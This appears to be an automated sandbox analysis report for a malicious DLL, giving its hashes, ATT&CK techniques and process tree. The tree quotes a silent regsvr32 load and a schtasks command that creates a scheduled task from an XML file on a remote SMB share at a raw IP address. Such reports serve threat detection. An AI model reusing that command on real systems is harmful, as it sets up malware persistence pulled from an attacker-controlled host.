b2d9a99de44a7cd8faf396d0482268369d14a315edaf18a36fa273ffd5500108

Analysis

max time kernel
149s
max time network
93s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
28/04/2026, 04:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
b2d9a99de44a7cd8faf396d0482268369d14a315edaf18a36fa273ffd5500108.dll
Size 108KB
Sample260428-etscesdt9v
SHA256 b2d9a99de44a7cd8faf396d0482268369d14a315edaf18a36fa273ffd5500108
MD5 9210884e8e28b9fd98528468710063e1
SHA1 640e7fcb3b297de782f34de3d8c582f694b4b1f6
SHA512 21e59c9468af4399f476f0b87b863fb415ecfabae1c114a93f443f328dd97e9cda21bd81e32dceb60c15db461c305565e86ab685b60901e6cff84aed45b386f6
SSDEEP 3072:D/tW1QhiflCa2U2a4QYR5n/tRR4dr8aWHVBosLM:D/MQhiflV2tpR5n/zR/qk
TLSH
T13EB35B5B63E500BBE13A9274C9634E41E7B6B4150760ABAF07E4839A1F237D18D3EF61
MD5 SHA1 SHA512 SSDEEP TLSH

Score

1^/10

execution persistence

Malware Config

Signatures

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3980	schtasks.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 2000 wrote to memory of 3980	2000	regsvr32.exe	79

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\b2d9a99de44a7cd8faf396d0482268369d14a315edaf18a36fa273ffd5500108.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:2000
- C:\Windows\system32\schtasks.exe
  schtasks /Create /TN "RunNotepadNow" /XML "\\151.245.195.142\hi\777.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3980

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads